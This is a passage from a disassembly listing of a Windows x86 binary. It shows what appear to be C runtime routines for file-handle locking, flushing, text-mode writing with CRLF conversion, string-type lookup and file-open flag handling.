		cmp	dword ptr [ebp-4], 3
		jnz	short loc_42BBD2
		mov	dl, [ebp-0Ch]
		or	dl, 8
		mov	[ebp-0Ch], dl


loc_42BBD2:				; CODE XREF: .nsp0:0042BBC1j
					; .nsp0:0042BBC7j
		call	sub_42B740
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0FFFFFFFFh
		jnz	short loc_42BBFB
		call	sub_4248A0
		mov	dword ptr [eax], 18h
		call	sub_4248B0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_42BC40
; ---------------------------------------------------------------------------


loc_42BBFB:				; CODE XREF: .nsp0:0042BBDEj
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [ebp-8]
		push	ecx
		call	sub_42B930
		add	esp, 8
		mov	dl, [ebp-0Ch]
		or	dl, 1
		mov	[ebp-0Ch], dl
		mov	eax, [ebp-8]
		sar	eax, 5
		mov	ecx, [ebp-8]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		mov	al, [ebp-0Ch]
		mov	[edx+ecx+4], al
		mov	ecx, [ebp-8]
		push	ecx
		call	sub_42BCE0
		add	esp, 4
		mov	eax, [ebp-8]


loc_42BC40:				; CODE XREF: .nsp0:0042BBADj
					; .nsp0:0042BBF9j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BC50	proc near		; CODE XREF: sub_41F570+50p
					; sub_422100+50p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_42BCB1
		push	11h
		call	sub_41FB40
		add	esp, 4
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_42BCA7
		mov	edx, [ebp+var_4]
		add	edx, 0Ch
		push	edx
		call	dword_4F1470	; InitializeCriticalSection
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx


loc_42BCA7:				; CODE XREF: sub_42BC50+39j
		push	11h
		call	sub_41FBE0
		add	esp, 4


loc_42BCB1:				; CODE XREF: sub_42BC50+26j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		lea	eax, [edx+ecx+0Ch]
		push	eax
		call	dword_4F1390	; RtlEnterCriticalSection
		mov	esp, ebp
		pop	ebp
		retn
sub_42BC50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BCE0	proc near		; CODE XREF: sub_41F570+6Bp
					; sub_422100+73p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		lea	eax, [edx+ecx+0Ch]
		push	eax
		call	dword_4F138C	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_42BCE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BD10	proc near		; CODE XREF: sub_41F790+2Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4EFD40
		jnb	short loc_42BD41
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42BD54


loc_42BD41:				; CODE XREF: sub_42BD10+Dj
		call	sub_4248A0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_42BDDE
; ---------------------------------------------------------------------------


loc_42BD54:				; CODE XREF: sub_42BD10+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42BC50
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 1
		test	eax, eax
		jz	short loc_42BDBD
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42BAD0
		add	esp, 4
		push	eax
		call	dword_4F12F4	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_42BDA4
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	[ebp+var_4], eax
		jmp	short loc_42BDAB
; ---------------------------------------------------------------------------


loc_42BDA4:				; CODE XREF: sub_42BD10+87j
		mov	[ebp+var_4], 0


loc_42BDAB:				; CODE XREF: sub_42BD10+92j
		cmp	[ebp+var_4], 0
		jnz	short loc_42BDB3
		jmp	short loc_42BDCF
; ---------------------------------------------------------------------------


loc_42BDB3:				; CODE XREF: sub_42BD10+9Fj
		call	sub_4248B0
		mov	edx, [ebp+var_4]
		mov	[eax], edx


loc_42BDBD:				; CODE XREF: sub_42BD10+70j
		call	sub_4248A0
		mov	dword ptr [eax], 9
		mov	[ebp+var_4], 0FFFFFFFFh


loc_42BDCF:				; CODE XREF: sub_42BD10+A1j
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42BCE0
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_42BDDE:				; CODE XREF: sub_42BD10+3Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_42BD10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BDF0	proc near		; CODE XREF: sub_41F7E0+57p
					; sub_422AF0+1C9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4EFD40
		jnb	short loc_42BE21
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42BE3C


loc_42BE21:				; CODE XREF: sub_42BDF0+Dj
		call	sub_4248A0
		mov	dword ptr [eax], 9
		call	sub_4248B0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_42BE6E
; ---------------------------------------------------------------------------


loc_42BE3C:				; CODE XREF: sub_42BDF0+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42BC50
		add	esp, 4
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42BE80
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42BCE0
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_42BE6E:				; CODE XREF: sub_42BDF0+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_42BDF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BE80	proc near		; CODE XREF: sub_42BDF0+64p
					; sub_430DB0+145p

var_420		= dword	ptr -420h
var_41C		= byte ptr -41Ch
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		mov	[ebp+var_10], 0
		mov	eax, [ebp+var_10]
		mov	[ebp+var_420], eax
		cmp	[ebp+arg_8], 0
		jnz	short loc_42BEA6
		xor	eax, eax
		jmp	loc_42C0EF
; ---------------------------------------------------------------------------


loc_42BEA6:				; CODE XREF: sub_42BE80+1Dj
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_42BED8
		push	2
		push	0
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_429380
		add	esp, 0Ch


loc_42BED8:				; CODE XREF: sub_42BE80+46j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 80h
		test	eax, eax
		jz	loc_42C00C
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	[ebp+var_C], 0


loc_42BF0D:				; CODE XREF: sub_42BE80:loc_42C005j
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+arg_4]
		cmp	edx, [ebp+arg_8]
		jnb	loc_42C00A
		lea	eax, [ebp+var_414]
		mov	[ebp+var_8], eax


loc_42BF25:				; CODE XREF: sub_42BE80+115j
		mov	ecx, [ebp+var_8]
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jge	short loc_42BF97
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jnb	short loc_42BF97
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[ebp+var_41C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		movsx	ecx, [ebp+var_41C]
		cmp	ecx, 0Ah
		jnz	short loc_42BF81
		mov	edx, [ebp+var_420]
		add	edx, 1
		mov	[ebp+var_420], edx
		mov	eax, [ebp+var_8]
		mov	byte ptr [eax],	0Dh
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_42BF81:				; CODE XREF: sub_42BE80+E1j
		mov	edx, [ebp+var_8]
		mov	al, [ebp+var_41C]
		mov	[edx], al
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		jmp	short loc_42BF25
; ---------------------------------------------------------------------------


loc_42BF97:				; CODE XREF: sub_42BE80+B6j
					; sub_42BE80+C1j
		push	0
		lea	edx, [ebp+var_418]
		push	edx
		mov	eax, [ebp+var_8]
		lea	ecx, [ebp+var_414]
		sub	eax, ecx
		push	eax
		lea	edx, [ebp+var_414]
		push	edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		mov	eax, [edx+ecx]
		push	eax
		call	dword_4F139C	; WriteFile
		test	eax, eax
		jz	short loc_42BFFA
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_418]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_8]
		lea	eax, [ebp+var_414]
		sub	edx, eax
		cmp	[ebp+var_418], edx
		jge	short loc_42BFF8
		jmp	short loc_42C00A
; ---------------------------------------------------------------------------


loc_42BFF8:				; CODE XREF: sub_42BE80+174j
		jmp	short loc_42C005
; ---------------------------------------------------------------------------


loc_42BFFA:				; CODE XREF: sub_42BE80+155j
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	[ebp+var_C], eax
		jmp	short loc_42C00A
; ---------------------------------------------------------------------------


loc_42C005:				; CODE XREF: sub_42BE80:loc_42BFF8j
		jmp	loc_42BF0D
; ---------------------------------------------------------------------------


loc_42C00A:				; CODE XREF: sub_42BE80+96j
					; sub_42BE80+176j ...
		jmp	short loc_42C05C
; ---------------------------------------------------------------------------


loc_42C00C:				; CODE XREF: sub_42BE80+7Aj
		push	0
		lea	ecx, [ebp+var_418]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		mov	ecx, [eax+edx]
		push	ecx
		call	dword_4F139C	; WriteFile
		test	eax, eax
		jz	short loc_42C053
		mov	[ebp+var_C], 0
		mov	edx, [ebp+var_418]
		mov	[ebp+var_10], edx
		jmp	short loc_42C05C
; ---------------------------------------------------------------------------


loc_42C053:				; CODE XREF: sub_42BE80+1BFj
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	[ebp+var_C], eax


loc_42C05C:				; CODE XREF: sub_42BE80:loc_42C00Aj
					; sub_42BE80+1D1j
		cmp	[ebp+var_10], 0
		jnz	loc_42C0E6
		cmp	[ebp+var_C], 0
		jz	short loc_42C09A
		cmp	[ebp+var_C], 5
		jnz	short loc_42C089
		call	sub_4248A0
		mov	dword ptr [eax], 9
		call	sub_4248B0
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		jmp	short loc_42C095
; ---------------------------------------------------------------------------


loc_42C089:				; CODE XREF: sub_42BE80+1F0j
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_424800
		add	esp, 4


loc_42C095:				; CODE XREF: sub_42BE80+207j
		or	eax, 0FFFFFFFFh
		jmp	short loc_42C0EF
; ---------------------------------------------------------------------------


loc_42C09A:				; CODE XREF: sub_42BE80+1EAj
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_42C0CB
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 1Ah
		jnz	short loc_42C0CB
		xor	eax, eax
		jmp	short loc_42C0EF
; ---------------------------------------------------------------------------


loc_42C0CB:				; CODE XREF: sub_42BE80+23Aj
					; sub_42BE80+245j
		call	sub_4248A0
		mov	dword ptr [eax], 1Ch
		call	sub_4248B0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_42C0EF
; ---------------------------------------------------------------------------


loc_42C0E6:				; CODE XREF: sub_42BE80+1E0j
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_420]


loc_42C0EF:				; CODE XREF: sub_42BE80+21j
					; sub_42BE80+218j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42BE80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C100	proc near		; CODE XREF: sub_421E50+98p
					; sub_424370+ECp ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_438620
		push	offset sub_42A9E4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4EFAC8, 0
		jnz	short loc_42C17E
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		push	offset dword_4382B8
		push	1
		call	dword_4F12EC	; GetStringTypeW
		test	eax, eax
		jz	short loc_42C152
		mov	dword_4EFAC8, 1
		jmp	short loc_42C17E
; ---------------------------------------------------------------------------


loc_42C152:				; CODE XREF: sub_42C100+44j
		lea	ecx, [ebp+var_1C]
		push	ecx
		push	1
		push	offset dword_4382B4
		push	1
		push	0
		call	dword_4F12F0	; GetStringTypeA
		test	eax, eax
		jz	short loc_42C177
		mov	dword_4EFAC8, 2
		jmp	short loc_42C17E
; ---------------------------------------------------------------------------


loc_42C177:				; CODE XREF: sub_42C100+69j
		xor	eax, eax
		jmp	loc_42C2A8
; ---------------------------------------------------------------------------


loc_42C17E:				; CODE XREF: sub_42C100+2Dj
					; sub_42C100+50j ...
		cmp	dword_4EFAC8, 2
		jnz	short loc_42C1B5
		cmp	[ebp+arg_14], 0
		jnz	short loc_42C196
		mov	edx, dword_4EF974
		mov	[ebp+arg_14], edx


loc_42C196:				; CODE XREF: sub_42C100+8Bj
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		call	dword_4F12F0	; GetStringTypeA
		jmp	loc_42C2A8
; ---------------------------------------------------------------------------


loc_42C1B5:				; CODE XREF: sub_42C100+85j
		cmp	dword_4EFAC8, 1
		jnz	loc_42C2A6
		cmp	[ebp+arg_10], 0
		jnz	short loc_42C1D1
		mov	edx, dword_4EF984
		mov	[ebp+arg_10], edx


loc_42C1D1:				; CODE XREF: sub_42C100+C6j
		push	0
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_18]
		neg	edx
		sbb	edx, edx
		and	edx, 8
		add	edx, 1
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		call	dword_4F1420	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_42C205
		xor	eax, eax
		jmp	loc_42C2A8
; ---------------------------------------------------------------------------


loc_42C205:				; CODE XREF: sub_42C100+FCj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_20]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BC60
		mov	[ebp+var_2C], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_2C]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_20]
		shl	edx, 1
		push	edx
		push	0
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42C25B
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_42C25B:				; CODE XREF: sub_42C100+142j
		cmp	[ebp+var_24], 0
		jnz	short loc_42C265
		xor	eax, eax
		jmp	short loc_42C2A8
; ---------------------------------------------------------------------------


loc_42C265:				; CODE XREF: sub_42C100+15Fj
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	1
		mov	edx, [ebp+arg_10]
		push	edx
		call	dword_4F1420	; MultiByteToWideChar
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_42C28E
		xor	eax, eax
		jmp	short loc_42C2A8
; ---------------------------------------------------------------------------


loc_42C28E:				; CODE XREF: sub_42C100+188j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F12EC	; GetStringTypeW
		jmp	short loc_42C2A8
; ---------------------------------------------------------------------------


loc_42C2A6:				; CODE XREF: sub_42C100+BCj
		xor	eax, eax


loc_42C2A8:				; CODE XREF: sub_42C100+79j
					; sub_42C100+B0j ...
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C2C0	proc near		; CODE XREF: sub_421F10+A1p
					; sub_422AF0+137p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_42C2C7:				; CODE XREF: sub_42C2C0+2Fj
		cmp	[ebp+arg_0], 0
		jnz	short loc_42C2EB
		push	offset dword_437514
		push	0
		push	2Eh
		push	offset dword_43862C
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42C2EB
		int	3		; Trap to Debugger


loc_42C2EB:				; CODE XREF: sub_42C2C0+Bj
					; sub_42C2C0+28j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42C2C7
		mov	ecx, dword_4EF8EC
		add	ecx, 1
		mov	dword_4EF8EC, ecx
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		push	3Bh
		push	offset dword_43862C
		push	2
		push	1000h
		call	sub_418EF0
		add	esp, 10h
		mov	ecx, [ebp+var_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+8], 0
		jz	short loc_42C346
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		or	ecx, 8
		mov	edx, [ebp+var_4]
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 1000h
		jmp	short loc_42C36B
; ---------------------------------------------------------------------------


loc_42C346:				; CODE XREF: sub_42C2C0+69j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		or	edx, 4
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_4]
		add	ecx, 14h
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 2


loc_42C36B:				; CODE XREF: sub_42C2C0+84j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	eax, [edx+8]
		mov	[ecx], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C2C0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+10h]
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		add	ecx, 4
		mov	[ebp-8], ecx
		mov	edx, [ebp-8]
		mov	eax, [edx-4]
		mov	[ebp-4], eax
		mov	dword ptr [ebp-8], 0
		mov	ecx, [ebp-4]
		push	ecx
		push	40h
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_42C3D0
		add	esp, 10h
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C3D0	proc near		; CODE XREF: sub_4225E0+2B0p
					; .nsp0:0042C3C3p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	[ebp+var_24], 0Ch
		mov	[ebp+var_20], 0
		mov	eax, [ebp+arg_4]
		and	eax, 80h
		test	eax, eax
		jz	short loc_42C3FD
		mov	[ebp+var_1C], 0
		mov	[ebp+var_38], 10h
		jmp	short loc_42C408
; ---------------------------------------------------------------------------


loc_42C3FD:				; CODE XREF: sub_42C3D0+1Ej
		mov	[ebp+var_1C], 1
		mov	[ebp+var_38], 0


loc_42C408:				; CODE XREF: sub_42C3D0+2Bj
		mov	ecx, [ebp+arg_4]
		and	ecx, 8000h
		test	ecx, ecx
		jnz	short loc_42C441
		mov	edx, [ebp+arg_4]
		and	edx, 4000h
		test	edx, edx
		jz	short loc_42C42C
		mov	al, [ebp+var_38]
		or	al, 80h
		mov	[ebp+var_38], al
		jmp	short loc_42C441
; ---------------------------------------------------------------------------


loc_42C42C:				; CODE XREF: sub_42C3D0+50j
		cmp	dword_4EFBF8, 8000h
		jz	short loc_42C441
		mov	cl, [ebp+var_38]
		or	cl, 80h
		mov	[ebp+var_38], cl


loc_42C441:				; CODE XREF: sub_42C3D0+43j
					; sub_42C3D0+5Aj ...
		mov	edx, [ebp+arg_4]
		and	edx, 3
		mov	[ebp+var_40], edx
		cmp	[ebp+var_40], 0
		jz	short loc_42C45E
		cmp	[ebp+var_40], 1
		jz	short loc_42C467
		cmp	[ebp+var_40], 2
		jz	short loc_42C470
		jmp	short loc_42C479
; ---------------------------------------------------------------------------


loc_42C45E:				; CODE XREF: sub_42C3D0+7Ej
		mov	[ebp+var_34], 80000000h
		jmp	short loc_42C497
; ---------------------------------------------------------------------------


loc_42C467:				; CODE XREF: sub_42C3D0+84j
		mov	[ebp+var_34], 40000000h
		jmp	short loc_42C497
; ---------------------------------------------------------------------------


loc_42C470:				; CODE XREF: sub_42C3D0+8Aj
		mov	[ebp+var_34], 0C0000000h
		jmp	short loc_42C497
; ---------------------------------------------------------------------------


loc_42C479:				; CODE XREF: sub_42C3D0+8Cj
		call	sub_4248A0
		mov	dword ptr [eax], 16h
		call	sub_4248B0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42C8DA
; ---------------------------------------------------------------------------


loc_42C497:				; CODE XREF: sub_42C3D0+95j
					; sub_42C3D0+9Ej ...
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		mov	ecx, [ebp+var_44]
		sub	ecx, 10h
		mov	[ebp+var_44], ecx
		cmp	[ebp+var_44], 30h
		ja	short loc_42C4E2
		mov	eax, [ebp+var_44]
		xor	edx, edx
		mov	dl, byte_42C8F2[eax]
		jmp	off_42C8DE[edx*4]


loc_42C4BE:				; DATA XREF: .nsp0:off_42C8DEo
		mov	[ebp+var_8], 0
		jmp	short loc_42C500
; ---------------------------------------------------------------------------


loc_42C4C7:				; CODE XREF: sub_42C3D0+E7j
					; DATA XREF: .nsp0:0042C8E2o
		mov	[ebp+var_8], 1
		jmp	short loc_42C500
; ---------------------------------------------------------------------------


loc_42C4D0:				; CODE XREF: sub_42C3D0+E7j
					; DATA XREF: .nsp0:0042C8E6o
		mov	[ebp+var_8], 2
		jmp	short loc_42C500
; ---------------------------------------------------------------------------


loc_42C4D9:				; CODE XREF: sub_42C3D0+E7j
					; DATA XREF: .nsp0:0042C8EAo
		mov	[ebp+var_8], 3
		jmp	short loc_42C500
; ---------------------------------------------------------------------------


loc_42C4E2:				; CODE XREF: sub_42C3D0+DAj
					; sub_42C3D0+E7j
					; DATA XREF: ...
		call	sub_4248A0
		mov	dword ptr [eax], 16h
		call	sub_4248B0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42C8DA
; ---------------------------------------------------------------------------


loc_42C500:				; CODE XREF: sub_42C3D0+F5j
					; sub_42C3D0+FEj ...
		mov	ecx, [ebp+arg_4]
		and	ecx, 700h
		mov	[ebp+var_48], ecx
		cmp	[ebp+var_48], 400h
		jg	short loc_42C54C
		cmp	[ebp+var_48], 400h
		jz	short loc_42C569
		cmp	[ebp+var_48], 200h
		jg	short loc_42C541
		cmp	[ebp+var_48], 200h
		jz	short loc_42C584
		cmp	[ebp+var_48], 0
		jz	short loc_42C569
		cmp	[ebp+var_48], 100h
		jz	short loc_42C572
		jmp	short loc_42C596
; ---------------------------------------------------------------------------


loc_42C541:				; CODE XREF: sub_42C3D0+155j
		cmp	[ebp+var_48], 300h
		jz	short loc_42C58D
		jmp	short loc_42C596
; ---------------------------------------------------------------------------


loc_42C54C:				; CODE XREF: sub_42C3D0+143j
		cmp	[ebp+var_48], 500h
		jz	short loc_42C57B
		cmp	[ebp+var_48], 600h
		jz	short loc_42C584
		cmp	[ebp+var_48], 700h
		jz	short loc_42C57B
		jmp	short loc_42C596
; ---------------------------------------------------------------------------


loc_42C569:				; CODE XREF: sub_42C3D0+14Cj
					; sub_42C3D0+164j
		mov	[ebp+var_18], 3
		jmp	short loc_42C5B4
; ---------------------------------------------------------------------------


loc_42C572:				; CODE XREF: sub_42C3D0+16Dj
		mov	[ebp+var_18], 4
		jmp	short loc_42C5B4
; ---------------------------------------------------------------------------


loc_42C57B:				; CODE XREF: sub_42C3D0+183j
					; sub_42C3D0+195j
		mov	[ebp+var_18], 1
